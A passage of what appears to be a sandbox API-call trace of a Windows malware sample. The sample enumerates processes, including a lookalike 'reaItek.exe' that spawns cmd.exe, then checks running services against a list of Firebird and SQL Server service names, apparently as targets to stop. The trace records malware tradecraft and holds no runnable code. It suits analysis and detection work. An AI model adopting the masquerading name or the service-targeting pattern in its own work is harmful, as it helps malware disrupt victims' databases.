lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0103.594] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0103.594] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0103.595] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0103.595] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0103.596] lstrlenW (lpString="dome.exe") returned 8 [0103.596] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0103.597] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0103.597] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0103.598] lstrlenW (lpString="paying.exe") returned 10 [0103.598] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0103.599] lstrlenW (lpString="emission.exe") returned 12 [0103.599] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0103.600] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0103.600] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0103.601] lstrlenW (lpString="charter.exe") returned 11 [0103.601] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0103.602] lstrlenW (lpString="nickel.exe") returned 10 [0103.602] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0103.604] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0103.604] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0103.605] lstrlenW (lpString="wrist.exe") returned 9 [0103.605] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0103.606] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0103.606] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0103.607] lstrlenW (lpString="neck.exe") returned 8 [0103.607] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0103.664] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0103.664] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0103.665] lstrlenW (lpString="dllhost.exe") returned 11 [0103.665] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.666] lstrlenW (lpString="taskhostw.exe") returned 13 [0103.667] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.668] lstrlenW (lpString="svchost.exe") returned 11 [0103.668] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.669] lstrlenW (lpString="svchost.exe") returned 11 [0103.669] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0103.670] lstrlenW (lpString="reaItek.exe") returned 11 [0103.670] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.671] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0103.672] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0103.673] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0103.673] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.674] lstrlenW (lpString="conhost.exe") returned 11 [0103.674] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.675] lstrlenW (lpString="cmd.exe") returned 7 [0103.675] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.676] lstrlenW (lpString="conhost.exe") returned 11 [0103.676] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0103.677] lstrlenW (lpString="sppsvc.exe") returned 10 [0103.677] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0103.678] CloseHandle (hObject=0x364) returned 1 [0103.678] Sleep (dwMilliseconds=0x1f4) [0104.254] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fecf0 [0104.255] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0104.255] GetLastError () returned 0xea [0104.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2032) returned 0x4353238 [0104.256] EnumServicesStatusExW (in: hSCManager=0x5fecf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4353238, cbBufSize=0x2032, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4353238, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0104.258] CloseServiceHandle (hSCObject=0x5fecf0) returned 1 [0104.295] lstrlenW (lpString="Appinfo") returned 7 [0104.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0104.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0104.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0104.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0104.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0104.296] lstrlenW (lpString="AppXSvc") returned 7 [0104.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0104.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0104.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0104.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0104.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0104.296] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0104.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0104.296] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0104.296] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0104.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0104.296] lstrlenW (lpString="Audiosrv") returned 8 [0104.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0104.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0104.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0104.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0104.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0104.296] lstrlenW (lpString="BFE") returned 3 [0104.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0104.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0104.296] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0104.296] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0104.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0104.296] lstrlenW (lpString="BITS") returned 4 [0104.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0104.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0104.297] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0104.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0104.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0104.297] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0104.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0104.297] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0104.297] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0104.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0104.297] lstrlenW (lpString="CDPSvc") returned 6 [0104.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0104.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0104.297] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0104.297] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0104.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0104.297] lstrlenW (lpString="ClickToRunSvc") returned 13 [0104.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0104.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0104.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0104.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0104.297] lstrlenW (lpString="ClipSVC") returned 7 [0104.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0104.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0104.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0104.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0104.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0104.297] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0104.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0104.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0104.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0104.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0104.298] lstrlenW (lpString="CryptSvc") returned 8 [0104.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0104.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0104.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0104.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0104.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0104.298] lstrlenW (lpString="DcomLaunch") returned 10 [0104.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0104.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0104.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0104.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0104.298] lstrlenW (lpString="DeviceAssociationService") returned 24 [0104.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0104.298] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0104.298] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0104.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0104.298] lstrlenW (lpString="Dhcp") returned 4 [0104.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0104.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0104.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0104.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0104.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0104.299] lstrlenW (lpString="Dnscache") returned 8 [0104.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0104.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0104.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0104.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0104.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0104.299] lstrlenW (lpString="DoSvc") returned 5 [0104.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0104.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0104.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0104.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0104.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0104.299] lstrlenW (lpString="DPS") returned 3 [0104.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0104.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0104.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0104.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0104.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0104.299] lstrlenW (lpString="DusmSvc") returned 7 [0104.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0104.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0104.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0104.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0104.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0104.299] lstrlenW (lpString="EventLog") returned 8 [0104.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0104.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0104.299] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0104.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0104.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0104.300] lstrlenW (lpString="EventSystem") returned 11 [0104.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0104.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0104.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0104.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0104.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0104.300] lstrlenW (lpString="FontCache") returned 9 [0104.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0104.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0104.300] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0104.300] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0104.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0104.300] lstrlenW (lpString="gpsvc") returned 5 [0104.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0104.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0104.300] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0104.300] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0104.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0104.300] lstrlenW (lpString="iphlpsvc") returned 8 [0104.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0104.300] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0104.300] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0104.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0104.300] lstrlenW (lpString="KeyIso") returned 6 [0104.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0104.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0104.301] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0104.301] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0104.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0104.301] lstrlenW (lpString="LanmanServer") returned 12 [0104.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0104.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0104.301] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0104.301] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0104.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0104.301] lstrlenW (lpString="LanmanWorkstation") returned 17 [0104.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0104.301] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0104.301] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0104.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0104.301] lstrlenW (lpString="lfsvc") returned 5 [0104.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0104.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0104.301] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0104.301] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0104.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0104.301] lstrlenW (lpString="LicenseManager") returned 14 [0104.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0104.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0104.301] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0104.301] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0104.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0104.302] lstrlenW (lpString="lmhosts") returned 7 [0104.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0104.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0104.302] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0104.302] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0104.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0104.302] lstrlenW (lpString="LSM") returned 3 [0104.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0104.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0104.302] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0104.302] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0104.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0104.302] lstrlenW (lpString="MapsBroker") returned 10 [0104.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0104.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0104.302] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0104.302] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0104.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0104.302] lstrlenW (lpString="MpsSvc") returned 6 [0104.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0104.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0104.302] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0104.302] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0104.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0104.302] lstrlenW (lpString="NcbService") returned 10 